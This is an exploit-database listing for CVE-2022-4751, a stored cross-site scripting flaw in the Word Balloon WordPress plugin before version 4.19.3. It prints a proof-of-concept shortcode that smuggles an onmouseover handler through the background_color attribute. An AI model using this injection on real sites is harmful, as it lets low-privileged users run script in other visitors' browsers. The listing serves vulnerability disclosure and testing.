Sploitus

Exploit for Word Balloon < 4.19.3 - Contributor+ Stored XSS via Shortcode

CVE-2022-4751

wpexploit · 2022-12-28

Exploit Code

MARKDOWN4 lines
## https://sploitus.com/exploit?id=WPEX-ID:DD5CC04A-042D-402A-AB7A-96AFF3D57478
Exploit shortcode:

[word_balloon_wallpaper id='custom' background_color='red;width:100px;height:100px;" onmouseover="alert(1)"']